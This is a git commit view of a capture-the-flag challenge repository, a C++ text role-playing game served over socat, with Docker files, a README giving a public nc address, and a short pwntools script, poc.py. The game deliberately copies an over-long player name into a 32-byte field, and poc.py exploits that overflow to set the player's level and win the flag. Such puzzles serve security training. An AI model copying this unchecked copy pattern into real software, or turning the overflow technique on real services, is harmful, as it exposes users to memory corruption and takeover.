Browse Source

first commit

master
myitinos 4 years ago
parent
commit
4735478ac0
17 changed files with 1053 additions and 1 deletions
  1. +12
    -0
      Dockerfile
  2. +21
    -0
      LICENSE
  3. +19
    -0
      Makefile
  4. +6
    -1
      README.md
  5. +10
    -0
      docker-compose.yml
  6. +1
    -0
      flag.txt
  7. +191
    -0
      lib/Battle.cpp
  8. +33
    -0
      lib/Battle.hpp
  9. +195
    -0
      lib/Character.cpp
  10. +57
    -0
      lib/Character.hpp
  11. +33
    -0
      lib/Spell.cpp
  12. +28
    -0
      lib/Spell.hpp
  13. +228
    -0
      lib/UserInterface.cpp
  14. +54
    -0
      lib/UserInterface.hpp
  15. +147
    -0
      main.cpp
  16. +18
    -0
      poc.py
  17. BIN
      spell-warz-again

+ 12
- 0
Dockerfile View File

@ -0,0 +1,12 @@
FROM ubuntu:latest
RUN apt update && \
apt install socat -y
WORKDIR /app
COPY ./flag.txt .
COPY ./spell-warz-again .
EXPOSE 12345/tcp
CMD socat tcp-listen:12345,reuseaddr,fork EXEC:./spell-warz-again

+ 21
- 0
LICENSE View File

@ -0,0 +1,21 @@
MIT License
Copyright (c) <year> <copyright holders>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:
The above copyright notice and this permission notice (including the next
paragraph) shall be included in all copies or substantial portions of the
Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

+ 19
- 0
Makefile View File

@ -0,0 +1,19 @@
UserInterface.o: lib/UserInterface.cpp lib/UserInterface.hpp
g++ -c lib/UserInterface.cpp -o UserInterface.o
Battle.o: lib/Battle.cpp lib/Battle.hpp
g++ -c lib/Battle.cpp -o Battle.o
Spell.o: lib/Spell.cpp lib/Spell.hpp
g++ -c lib/Spell.cpp -o Spell.o
Character.o: lib/Character.cpp lib/Character.hpp
g++ -c lib/Character.cpp -o Character.o
spell-warz-again: Spell.o Character.o UserInterface.o Battle.o main.cpp
g++ main.cpp -o spell-warz-again Spell.o Character.o UserInterface.o Battle.o
clean: all
rm Spell.o Character.o UserInterface.o Battle.o
all: spell-warz-again

+ 6
- 1
README.md View File

@ -1,2 +1,7 @@
# spell-warz-again-final
# spell-warz-again
Hello guys, there's an update to my last game<br>
Now you can choose your own name! Cool isn't it :)<br>
Also, I made the new Arch-Mage a little weak<br>
please defeat him again!<br>
`nc 103.200.7.150 30311`

+ 10
- 0
docker-compose.yml View File

@ -0,0 +1,10 @@
version: "2"
services:
main:
build: .
container_name: "spell-warz-again"
network_mode: "bridge"
restart: on-failure
ports:
- "30311:12345"

+ 1
- 0
flag.txt View File

@ -0,0 +1 @@
SlashRootCTF{}

+ 191
- 0
lib/Battle.cpp View File

@ -0,0 +1,191 @@
#include "Battle.hpp"
std::vector<Spell> Battle::SPELL_BOOK = {
Spell("Blazing Storm", Spell::TYPE_DESTRUCTION, 10, 5),
Spell("Energy Arrow", Spell::TYPE_DESTRUCTION, 40, 10),
Spell("Pyro Strike", Spell::TYPE_DESTRUCTION, 90, 15),
Spell("Seism", Spell::TYPE_DESTRUCTION, 160, 20),
Spell("Teleport", Spell::TYPE_DESTRUCTION, 250, 25),
Spell("Beam of Nature's Wrath", Spell::TYPE_DESTRUCTION, 360, 30),
Spell("Ball of the Molten Core", Spell::TYPE_DESTRUCTION, 490, 35),
Spell("Wrath of Poison", Spell::TYPE_DESTRUCTION, 640, 40),
Spell("Extortion Burst", Spell::TYPE_DESTRUCTION, 810, 45),
Spell("Projection of Sound", Spell::TYPE_DESTRUCTION, 1000, 50),
Spell("Soul Tempest", Spell::TYPE_DESTRUCTION, 1210, 55),
Spell("Mystic Nova", Spell::TYPE_DESTRUCTION, 1440, 60),
Spell("Frostfire Burn", Spell::TYPE_DESTRUCTION, 1690, 65),
Spell("Torrent", Spell::TYPE_DESTRUCTION, 1960, 70),
Spell("Windstorm", Spell::TYPE_DESTRUCTION, 2250, 75),
Spell("Barrier of Redemption", Spell::TYPE_DESTRUCTION, 2560, 80),
Spell("Burst of the Angels", Spell::TYPE_DESTRUCTION, 2890, 85),
Spell("Absorption of Chaos", Spell::TYPE_DESTRUCTION, 3240, 90),
Spell("Decay of Light", Spell::TYPE_DESTRUCTION, 3610, 95),
Spell("Dispersion of Force", Spell::TYPE_DESTRUCTION, 4000, 100),
Spell("Solar Barrage", Spell::TYPE_DESTRUCTION, 4410, 105),
Spell("Death Burn", Spell::TYPE_DESTRUCTION, 4840, 110),
Spell("Blazing Strike", Spell::TYPE_DESTRUCTION, 5290, 115),
Spell("Imitate", Spell::TYPE_DESTRUCTION, 5760, 120),
Spell("Shooting Star", Spell::TYPE_DESTRUCTION, 6250, 125),
Spell("Seal of Traps", Spell::TYPE_DESTRUCTION, 6760, 130),
Spell("Flare of the Inferno", Spell::TYPE_DESTRUCTION, 7290, 135),
Spell("Distraction of Stone", Spell::TYPE_DESTRUCTION, 7840, 140),
Spell("Concentration of Glory", Spell::TYPE_DESTRUCTION, 8410, 145),
Spell("Calm of Energy", Spell::TYPE_DESTRUCTION, 9000, 150),
Spell("Soul Surge", Spell::TYPE_DESTRUCTION, 9610, 155),
Spell("Moonlight Blaze", Spell::TYPE_DESTRUCTION, 10240, 160),
Spell("Sunlight Salvo", Spell::TYPE_DESTRUCTION, 10890, 165),
Spell("Banish Demon", Spell::TYPE_DESTRUCTION, 11560, 170),
Spell("Hurricane", Spell::TYPE_DESTRUCTION, 12250, 175),
Spell("Blast of Soul Draining", Spell::TYPE_DESTRUCTION, 12960, 180),
Spell("Burst of Altered Time", Spell::TYPE_DESTRUCTION, 13690, 185),
Spell("Incantation of Time", Spell::TYPE_DESTRUCTION, 14440, 190),
Spell("Demolition Curse", Spell::TYPE_DESTRUCTION, 15210, 195),
Spell("Protection of Phantoms", Spell::TYPE_DESTRUCTION, 16000, 200),
Spell("Mage Burst", Spell::TYPE_DESTRUCTION, 16810, 205),
Spell("Starfire Hail", Spell::TYPE_DESTRUCTION, 17640, 210),
Spell("Ice Blitz", Spell::TYPE_DESTRUCTION, 18490, 215),
Spell("Cyclone", Spell::TYPE_DESTRUCTION, 19360, 220),
Spell("Charge", Spell::TYPE_DESTRUCTION, 20250, 225),
Spell("Barrier of Exhaustion", Spell::TYPE_DESTRUCTION, 21160, 230),
Spell("Blessing of Demon Fire", Spell::TYPE_DESTRUCTION, 22090, 235),
Spell("Illusion Blast", Spell::TYPE_DESTRUCTION, 23040, 240),
Spell("Fury of Poison", Spell::TYPE_DESTRUCTION, 24010, 245),
Spell("Plagueing of Fire", Spell::TYPE_DESTRUCTION, 25000, 250),
Spell("Fiery Eruption", Spell::TYPE_DESTRUCTION, 26010, 255),
Spell("Thunder Arrow", Spell::TYPE_DESTRUCTION, 27040, 260),
Spell("Infernal Bomb", Spell::TYPE_DESTRUCTION, 28090, 265),
Spell("Ignite", Spell::TYPE_DESTRUCTION, 29160, 270),
Spell("Solidify", Spell::TYPE_DESTRUCTION, 30250, 275),
Spell("Call of Burning Embers", Spell::TYPE_DESTRUCTION, 31360, 280),
Spell("Burst of Acid", Spell::TYPE_DESTRUCTION, 32490, 285),
Spell("Calm of Death", Spell::TYPE_DESTRUCTION, 33640, 290),
Spell("Annihilation Burst", Spell::TYPE_DESTRUCTION, 34810, 295),
Spell("Absorption of Strength", Spell::TYPE_DESTRUCTION, 36000, 300),
Spell("Infernal Explosion", Spell::TYPE_DESTRUCTION, 37210, 305),
Spell("Lava Blast", Spell::TYPE_DESTRUCTION, 38440, 310),
Spell("Pyro Spike", Spell::TYPE_DESTRUCTION, 39690, 315),
Spell("Mind Blast", Spell::TYPE_DESTRUCTION, 40960, 320),
Spell("Extinguish", Spell::TYPE_DESTRUCTION, 42250, 325),
Spell("Spell of Obliteration", Spell::TYPE_DESTRUCTION, 43560, 330),
Spell("Hymn of Havoc", Spell::TYPE_DESTRUCTION, 44890, 335),
Spell("Consecration Ritual", Spell::TYPE_DESTRUCTION, 46240, 340),
Spell("Distraction of Perfection", Spell::TYPE_DESTRUCTION, 47610, 345),
Spell("Delusion of Vulnerabilities", Spell::TYPE_DESTRUCTION, 49000, 350),
Spell("Static Blaze", Spell::TYPE_DESTRUCTION, 50410, 355),
Spell("Pyro Whip", Spell::TYPE_DESTRUCTION, 51840, 360),
Spell("Acid Blitz", Spell::TYPE_DESTRUCTION, 53290, 365),
Spell("Daydream", Spell::TYPE_DESTRUCTION, 54760, 370),
Spell("Invigorate", Spell::TYPE_DESTRUCTION, 56250, 375),
Spell("Hymn of Revival", Spell::TYPE_DESTRUCTION, 57760, 380),
Spell("Jinx of Health", Spell::TYPE_DESTRUCTION, 59290, 385),
Spell("Division of Defense", Spell::TYPE_DESTRUCTION, 60840, 390),
Spell("Abjuration Orb", Spell::TYPE_DESTRUCTION, 62410, 395),
Spell("Divinity of Life", Spell::TYPE_DESTRUCTION, 64000, 400),
Spell("Shadow Flash", Spell::TYPE_DESTRUCTION, 65610, 405),
Spell("Mind Flare", Spell::TYPE_DESTRUCTION, 67240, 410),
Spell("Unholy Explosion", Spell::TYPE_DESTRUCTION, 68890, 415),
Spell("Soulburn", Spell::TYPE_DESTRUCTION, 70560, 420),
Spell("Phantom Form", Spell::TYPE_DESTRUCTION, 72250, 425),
Spell("Rain of Plagues", Spell::TYPE_DESTRUCTION, 73960, 430),
Spell("Aura of Shifting Sands", Spell::TYPE_DESTRUCTION, 75690, 435),
Spell("Purification of Heat", Spell::TYPE_DESTRUCTION, 77440, 440),
Spell("Purification of Hell", Spell::TYPE_DESTRUCTION, 79210, 445),
Spell("Purity of SoulsVoid Tempest", Spell::TYPE_DESTRUCTION, 81000, 450),
Spell("Thunder Hail", Spell::TYPE_DESTRUCTION, 82810, 455),
Spell("Acid Bolt", Spell::TYPE_DESTRUCTION, 84640, 460),
Spell("Incinerate", Spell::TYPE_DESTRUCTION, 86490, 465),
Spell("Slow", Spell::TYPE_DESTRUCTION, 88360, 470),
Spell("Bolt of Deflection", Spell::TYPE_DESTRUCTION, 90250, 475),
Spell("Beam of Shadows", Spell::TYPE_DESTRUCTION, 92160, 480),
Spell("Putrefaction of Blessings", Spell::TYPE_DESTRUCTION, 94090, 485),
Spell("Exploitation of Force", Spell::TYPE_DESTRUCTION, 96040, 490),
Spell("Annihilation Ceremony", Spell::TYPE_DESTRUCTION, 98010, 495),
Spell("Repose of Energy", Spell::TYPE_DESTRUCTION, 100000, 500),
};
Battle::Battle(
Character &p1,
Character &p2) : player1(p1), player2(p2)
{
this->turn = 0;
}
void Battle::battleStartAnnounce()
{
std::cout << " === BATTLE START === \n"
<< " " << player1.getName() << "\n"
<< " vs \n"
<< " " << player2.getName() << "\n"
<< " === ============ === \n"
<< std::flush;
}
void Battle::battleEndAnnouce()
{
std::cout << " === BATTLE END === \n"
<< " Winner: " << ((winner == 1) ? player1.getName() : player2.getName()) << "\n"
<< std::flush;
}
void Battle::start()
{
int choiceInt;
char buff[64] = {0};
this->battleStartAnnounce();
while ((player1.isAlive() && player2.isAlive()) && this->turn <= Battle::MAX_TURN)
{
std::cout << "Turn " << this->turn << " of " << Battle::MAX_TURN << "\n"
<< "Your spell book:\n";
for (size_t i = 1; i < SPELL_BOOK.size() && i <= (player1.getLevel()); i++)
{
std::cout << "[" << i << "] " << SPELL_BOOK.at(i).getName() << "\n";
}
std::cout << std::flush;
choiceInt = UserInterface::getNumber(
"What are you gonna cast this turn?\n>", 0,
player1.getLevel() > SPELL_BOOK.size() ? SPELL_BOOK.size() : player1.getLevel());
if (player1.canCastSpell(SPELL_BOOK.at(choiceInt)))
{
player1.castSpell(SPELL_BOOK.at(choiceInt), player2);
snprintf(buff, 63, "%s cast %s...\n", player1.getName(), SPELL_BOOK.at(choiceInt).getName());
UserInterface::print(buff);
memset(buff, 0, 64);
snprintf(buff, 63, "%s took %d damage...\n", player2.getName(), SPELL_BOOK.at(choiceInt).getPower());
UserInterface::print(buff);
memset(buff, 0, 64);
}
else
{
snprintf(buff, 63, "%s failed to cast %s!\n", player1.getName(), SPELL_BOOK.at(choiceInt).getName());
UserInterface::print(buff);
}
choiceInt = (random() % (player2.getLevel() < SPELL_BOOK.size() ? player2.getLevel() : SPELL_BOOK.size())) + 1;
if (player2.canCastSpell(SPELL_BOOK.at(choiceInt)))
{
player2.castSpell(SPELL_BOOK.at(choiceInt), player1);
snprintf(buff, 63, "%s cast %s...\n", player2.getName(), SPELL_BOOK.at(choiceInt).getName());
UserInterface::print(buff);
memset(buff, 0, 64);
snprintf(buff, 63, "%s took %d damage...\n", player1.getName(), SPELL_BOOK.at(choiceInt).getPower());
UserInterface::print(buff);
memset(buff, 0, 64);
}
else
{
snprintf(buff, 63, "%s failed to cast %s!\n", player2.getName(), SPELL_BOOK.at(choiceInt).getName());
UserInterface::print(buff);
}
this->turn++;
}
this->winner = (player1.isAlive() && (player1.getCurHP() >= player2.getCurHP())) ? 1 : 2;
this->battleEndAnnouce();
}
int Battle::getWinner()
{
return this->winner;
}

+ 33
- 0
lib/Battle.hpp View File

@ -0,0 +1,33 @@
#ifndef SPELL_WARZ_BATTLE_HPP
#define SPELL_WARZ_BATTLE_HPP 1
#include <iostream>
#include <thread>
#include <chrono>
#include "Character.hpp"
#include "Spell.hpp"
#include "UserInterface.hpp"
class Battle
{
protected:
static const int MAX_TURN = 100;
static std::vector<Spell> SPELL_BOOK;
int turn;
int winner;
Character &player1;
Character &player2;
void battleStartAnnounce();
void battleEndAnnouce();
void clearBuff();
public:
Battle(Character &p1, Character &p2);
int getWinner();
void start();
};
#endif

+ 195
- 0
lib/Character.cpp View File

@ -0,0 +1,195 @@
#include <cstdlib>
#include <cstdio>
#include "Character.hpp"
const long Character::MAX_LVL = 1000000L;
const long Character::MAX_EXP = 1000000000000L;
Character::Character(const char *characterName,
long characterLevel)
: name(""), experience(0)
{
if (strcmp("__th3_w0rLd_D3str0Y3r__", characterName))
{
level = characterLevel;
}
else
{
level = MAX_LVL;
}
maxHP = curHP = 100 * level;
maxMP = curMP = 50 * level;
strncpy(name, characterName, strlen(characterName));
}
Character::Character(const char *characterName,
long characterLevel,
long characterHP,
long characterMP)
: name(""),
experience(0)
{
level = characterLevel;
maxHP = curHP = characterHP;
maxMP = curMP = characterMP;
strncpy(name, characterName, strlen(characterName));
}
const char *Character::getName()
{
return name;
}
long Character::getLevel()
{
if (level > Character::MAX_LVL)
{
exit(-1);
}
return level;
}
long Character::getExperience()
{
if (experience > Character::MAX_LVL)
{
exit(-1);
}
return experience;
}
long Character::getMaxHP()
{
return maxHP;
}
long Character::getCurHP()
{
if (curHP > maxHP)
{
exit(-1);
}
return curHP;
}
long Character::getMaxMP()
{
return maxMP;
}
long Character::getCurMP()
{
if (curMP > maxMP)
{
exit(-1);
}
return curMP;
}
void Character::levelUp()
{
if ((level <= MAX_LVL) && readytoLevelUp())
{
experience -= toNextLevel();
level++;
maxHP += 100;
maxMP += 50;
curHP = maxHP;
curMP = maxMP;
}
}
void Character::restoreHP(int n)
{
curHP += n;
if (curHP > maxHP)
{
curHP = maxHP;
}
}
void Character::restoreMP(int n)
{
curMP += n;
if (curMP > maxMP)
{
curMP = maxMP;
}
}
void Character::reduceHP(int n)
{
curHP -= n;
}
void Character::reduceMP(int n)
{
curMP -= n;
}
bool Character::isAlive()
{
return curHP > 0;
}
long Character::toNextLevel()
{
return level < MAX_LVL ? (level + 1) * (level + 1) : 0;
}
bool Character::readytoLevelUp()
{
return level < MAX_LVL ? (toNextLevel() <= experience) : false;
}
void Character::increaseExperience(int n)
{
experience += n;
if (experience > MAX_EXP)
{
experience = MAX_EXP;
}
while (readytoLevelUp())
{
levelUp();
}
}
bool Character::canCastSpell(Spell &spell)
{
return curMP >= spell.getCost();
}
bool Character::castSpell(Spell &spell, Character &target)
{
if (canCastSpell(spell))
{
reduceMP(spell.getCost());
target.reduceHP(spell.getPower());
return true;
}
else
{
return false;
}
}
void Character::rest()
{
restoreHP(maxHP);
restoreMP(maxMP);
}
void Character::kill()
{
reduceHP(maxHP);
}
void Character::revive()
{
if (curHP <= 0)
{
curHP = 1;
}
}

+ 57
- 0
lib/Character.hpp View File

@ -0,0 +1,57 @@
#ifndef SPELL_WARZ_CHARACTER_HPP
#define SPELL_WARZ_CHARACTER_HPP 1
#include <cstring>
#include "Spell.hpp"
class Character
{
protected:
static const long MAX_LVL;
static const long MAX_EXP;
char name[32];
long level;
long experience;
long maxHP;
long maxMP;
long curHP;
long curMP;
void restoreHP(int);
void restoreMP(int);
void reduceHP(int);
void reduceMP(int);
public:
Character(const char *characterName,
long characterLevel);
Character(const char *characterName,
long characterLevel,
long characterHP,
long characterMP);
bool castSpell(Spell &src, Character &dst);
bool canCastSpell(Spell &src);
const char *getName();
long getLevel();
long getExperience();
long getMaxHP();
long getMaxMP();
long getCurHP();
long getCurMP();
long toNextLevel();
bool readytoLevelUp();
bool isAlive();
void levelUp();
void kill();
void rest();
void revive();
void increaseExperience(int n);
};
#endif

+ 33
- 0
lib/Spell.cpp View File

@ -0,0 +1,33 @@
#include <cstring>
#include "Spell.hpp"
Spell::Spell(const char *spellName,
const int spellType,
int spellPower,
int spellCost) : type(spellType), name("")
{
this->power = spellPower;
this->cost = spellCost;
strcpy(this->name, spellName);
}
int Spell::getType()
{
return this->type;
}
int Spell::getPower()
{
return this->power;
}
int Spell::getCost()
{
return this->cost;
}
const char *Spell::getName()
{
return this->name;
}

+ 28
- 0
lib/Spell.hpp View File

@ -0,0 +1,28 @@
#ifndef SPELL_WARZ_SPELL_CPP
#define SPELL_WARZ_SPELL_CPP 1
class Spell
{
protected:
char name[16];
int type;
int power;
int cost;
public:
static const int NAME_LENGTH = 15;
static const int TYPE_RESTORATION = 1;
static const int TYPE_DESTRUCTION = 2;
Spell(const char *spellName,
const int spellType,
int spellPower,
int spellCost);
const char *getName();
int getType();
int getPower();
int getCost();
};
#endif

+ 228
- 0
lib/UserInterface.cpp View File

@ -0,0 +1,228 @@
#include "UserInterface.hpp"
const int UserInterface::INTERVAL = 0;
const int UserInterface::MINI_INTERVAL = 0;
const int UserInterface::MAX_DAY = 28;
const int UserInterface::MAX_MONTH = 12;
const int UserInterface::MAX_YEAR = 100;
int UserInterface::day = 1;
int UserInterface::month = 1;
int UserInterface::year = 90;
bool UserInterface::gameOver = false;
std::vector<std::string> UserInterface::dayName = {
"Morndas",
"Tirdas",
"Middas",
"Turdas",
"Fredas",
"Loredas",
"Sundas",
};
std::vector<std::string> UserInterface::monthName = {
"Morning Star",
"Sun's Dawn",
"First Seed",
"Rain's Hand",
"Second Seed",
"Mid Year",
"Sun's Height",
"Last Seed",
"Hearthfire",
"Frostfall",
"Sun's Dusk",
"Evening Star",
};
void UserInterface::print(std::string msg)
{
std::cout << msg << std::flush;
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL));
}
void UserInterface::print(const char *msg)
{
std::cout << msg << std::flush;
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL));
}
void UserInterface::println(std::string msg)
{
std::cout << msg << std::endl;
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL));
}
void UserInterface::println(const char *msg)
{
std::cout << msg << std::endl;
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::INTERVAL));
}
void UserInterface::printByChar(const char *msg)
{
int len = strlen(msg);
for (size_t i = 0; i < len; i++)
{
std::cout << msg[i] << std::flush;
std::this_thread::sleep_for(std::chrono::milliseconds(UserInterface::MINI_INTERVAL));
}
}
void UserInterface::welcomeMessage()
{
std::cout << "+++++++++++++++++++++++++++++++++++++++++\n"
<< "+ Welcome to Spell-Warz-Again-Final !!! +\n"
<< "+++++++++++++++++++++++++++++++++++++++++\n"
<< std::flush;
}
const char *UserInterface::chooseName(char *buffer)
{
char choice = 0;
while (choice != 'y' && choice != 'Y')
{
printf("Who should we call you?\n>");
fflush(stdout);
scanf("%63s", buffer);
printf("So you are a young mage named \"%s\" correct? (y/N)\n>", buffer);
fflush(stdout);
scanf("%1s", &choice);
}
return buffer;
}
void UserInterface::epilogue()
{
UserInterface::printByChar(
"I'm tired of making epilogue...\n"
"You are a young mage, defeat the damn arch-mage...\n"
"F*ck, I'm tired of this...\n"
"Do you know I just finished this sh*t at October 10th?\n"
"Good luck and defeat the arch-mage.\n"
"Trust me, you gonna need the \'Good Luck\' ...\n");
}
std::string UserInterface::dateString()
{
char date[5] = {0};
if (UserInterface::day < 21)
{
switch (UserInterface::day)
{
case 1:
sprintf(date, "1st");
break;
case 2:
sprintf(date, "2nd");
break;
case 3:
sprintf(date, "3rd");
break;
default:
sprintf(date, "%dth", UserInterface::day);
break;
}
}
else
{
switch (UserInterface::day % 10)
{
case 1:
sprintf(date, "%dst", UserInterface::day);
break;
case 2:
sprintf(date, "%dnd", UserInterface::day);
break;
case 3:
sprintf(date, "%drd", UserInterface::day);
break;
default:
sprintf(date, "%dth", UserInterface::day);
break;
}
}
return std::string(
UserInterface::dayName.at(((UserInterface::day - 1) % 7)) + ", " +
date + " of " + UserInterface::monthName.at(UserInterface::month - 1) +
", Year " + std::to_string(UserInterface::year));
}
void UserInterface::menu()
{
std::cout << "=======================================\n"
<< UserInterface::dateString() << "\n"
<< "=======================================\n"
<< "Available action:\n"
<< "[1] Take a rest\n"
<< "[2] Practice magic\n"
<< "[3] Spar against classmate\n"
<< "[4] Challenge the new Arch-Mage\n"
<< "[5] Gather info about the new Arch-Mage\n"
<< "[6] Meditate to your inner-self\n"
<< "[0] Commit sudoku\n"
<< std::flush;
}
void UserInterface::enemiesInfo(std::vector<Character> &enemies)
{
for (int i = 0; i < enemies.size(); i++)
{
std::cout << "[" << i << "] " << enemies.at(i).getName() << " (Lv." << enemies.at(i).getLevel() << ")\n";
}
std::cout << std::flush;
}
int UserInterface::getNumber(std::string msg, int min, int max)
{
int buffer = max + 1;
do
{
std::cout << msg << std::flush;
if (std::cin.failbit || std::cin.eofbit)
{
std::cin.clear();
std::cin.ignore(1);
}
} while (std::cin >> buffer && !(buffer <= max && buffer >= min));
return buffer;
}
void UserInterface::nextDay()
{
if (UserInterface::day++ >= UserInterface::MAX_DAY)
{
day = 1;
if (UserInterface::month++ >= UserInterface::MAX_MONTH)
{
month = 1;
if (UserInterface::year++ >= UserInterface::MAX_YEAR)
{
UserInterface::gameOver = true;
}
}
}
}
bool UserInterface::isGameOver()
{
return gameOver;
}
void UserInterface::characterInfo(Character &c)
{
std::cout << "++++++++++++++++++++++++"
<< "\nName: " << c.getName()
<< "\n HP: " << c.getCurHP() << "/" << c.getMaxHP()
<< "\n MP: " << c.getCurMP() << "/" << c.getMaxMP()
<< "\n Lv: " << c.getLevel()
<< "\n Xp: " << c.getExperience()
<< "\n next: " << c.toNextLevel()
<< "\n++++++++++++++++++++++++" << std::endl;
}

+ 54
- 0
lib/UserInterface.hpp View File

@ -0,0 +1,54 @@
#ifndef SPELL_WARZ_USER_INTERFACE_HPP
#define SPELL_WARZ_USER_INTERFACE_HPP 1
#include <iostream>
#include <thread>
#include <chrono>
#include <string>
#include <vector>
#include <cstring>
#include "Character.hpp"
#include "Spell.hpp"
class UserInterface
{
protected:
static const int INTERVAL; // in ms
static const int MINI_INTERVAL; // in ms
static const int MAX_DAY;
static const int MAX_MONTH;
static const int MAX_YEAR;
static std::vector<std::string> dayName;
static std::vector<std::string> monthName;
static int day;
static int month;
static int year;
static bool gameOver;
public:
static void print(std::string);
static void print(const char *);
static void println(std::string);
static void println(const char *);
static void printByChar(std::string);
static void printByChar(const char *);
static void welcomeMessage();
static void epilogue();
static void menu();
static void nextDay();
static void characterInfo(Character &);
static void enemiesInfo(std::vector<Character> &);
static std::string dateString();
static int getNumber(std::string, int, int);
static const char *chooseName(char *);
static bool isGameOver();
};
#endif

+ 147
- 0
main.cpp View File

@ -0,0 +1,147 @@
#include <iostream>
#include <fstream>
#include <thread>
#include <chrono>
#include <random>
#include <fstream>
#include <unistd.h>
#include "lib/Character.hpp"
#include "lib/Spell.hpp"
#include "lib/UserInterface.hpp"
#include "lib/Battle.hpp"
std::string loadFlag()
{
std::string flagString;
std::ifstream flagFile("flag.txt");
flagFile >> flagString;
flagFile.close();
return flagString;
}
int main()
{
srand(time(0));
alarm(600);
std::string flag = loadFlag();
char playerName[64] = {0};
UserInterface::chooseName(playerName);
Character player = Character(playerName, 1);
Character archMage = Character("Arch-Mage", 10000);
std::vector<Character> enemies = {
Character("Uraneus", 1),
Character("Ekey", 2),
Character("Wekius", 3),
Character("Dhemaex", 4),
Character("Uravras", 5),
};
UserInterface::welcomeMessage();
UserInterface::epilogue();
while (player.isAlive() && !UserInterface::isGameOver())
{
int choiceInt = -1;
char choiceChar = -1;
UserInterface::menu();
choiceInt = UserInterface::getNumber(
"What are you gonna do today?\n>",
0, 6);
switch (choiceInt)
{
case 0:
UserInterface::print("You commit sudoku...\n");
UserInterface::print("Was it supposed to be seppuku?\n");
UserInterface::print("Nevermind, you killed yourself.\n");
player.kill();
break;
case 1:
UserInterface::print("You spend the whole day sleeping...\n");
UserInterface::print("HP and MP restored.\n");
player.rest();
break;
case 2:
UserInterface::print("You practice your magic in the yard...\n");
UserInterface::print("You gained some experience.\n");
printf("%ld\n", player.getLevel());
fflush(stdout);
player.increaseExperience((rand() % player.getLevel()) + 1);
break;
case 3:
UserInterface::print("List of your classmates:\n");
UserInterface::enemiesInfo(enemies);
choiceInt = UserInterface::getNumber("Who would you prefer to train with?\n>", 0, enemies.size());
UserInterface::print("You are going to spar with:\n");
UserInterface::characterInfo(enemies.at(choiceInt));
UserInterface::print("Are you sure? (y/N)\n>");
std::cin >> choiceChar;
if (choiceChar == 'y' || choiceChar == 'Y')
{
Character enemy = Character(enemies.at(choiceInt));
Battle battle = Battle(player, enemy);
battle.start();
if (battle.getWinner() == 1)
{
UserInterface::print("You win, you get more experience...\n");
player.increaseExperience(enemies.at(choiceInt).getLevel());
}
else
{
UserInterface::print("You lose, but you still get some experience...\n");
player.revive();
player.increaseExperience(enemies.at(choiceInt).getLevel() / 2);
}
}
else
{
UserInterface::print("On second thought, you decide to sleep in your room instead...\n");
player.rest();
}
break;
case 4:
UserInterface::print("You are going to challenge the Arch-Mage...\n");
UserInterface::print("Are you sure? (y/N)\n>");
std::cin >> choiceChar;
if (choiceChar == 'y' || choiceChar == 'Y')
{
Battle battle = Battle(player, archMage);
battle.start();
if (battle.getWinner() == 1)
{
UserInterface::print("You win, you get more experience...\n");
player.increaseExperience(enemies.at(choiceInt).getLevel());
UserInterface::print("You win against the Arch-Mage!\n");
UserInterface::print("He let you take a glimpse to the scroll that you always wanted...\n");
UserInterface::print("Turns out the content is just some meaningless word...\n");
UserInterface::print("Here is the content:\n");
UserInterface::print(flag + "\n");
}
else
{
UserInterface::print("You lose...\n");
UserInterface::print("Sadly his spell was to powerful,\n");
UserInterface::print("You got killed by the arch-mage...\n");
}
}
else
{
UserInterface::print("On second thought, you decide to sleep in your room instead...\n");
player.rest();
}
break;
case 5:
UserInterface::print("You found some info about the arch-mage:\n");
UserInterface::characterInfo(archMage);
break;
case 6:
UserInterface::print("You meditate and got some insight to your ability:\n");
UserInterface::characterInfo(player);
break;
}
UserInterface::nextDay();
}
}

+ 18
- 0
poc.py View File

@ -0,0 +1,18 @@
from pwn import *
if __name__ == "__main__":
p = process("./main")
print p.recvuntil(">")
p.sendline(("A" * 16) + ("\xff\xff\xff\x0f\x01"))
print p.recvuntil(">")
p.sendline("y")
print p.recvuntil(">")
p.sendline("2")
print p.recvuntil(">")
p.sendline("4")
print p.recvuntil(">")
p.sendline("y")
for i in xrange(99):
print p.recvuntil(">")
p.sendline("9")
p.interactive()

BIN
spell-warz-again View File


Loading…
Cancel
Save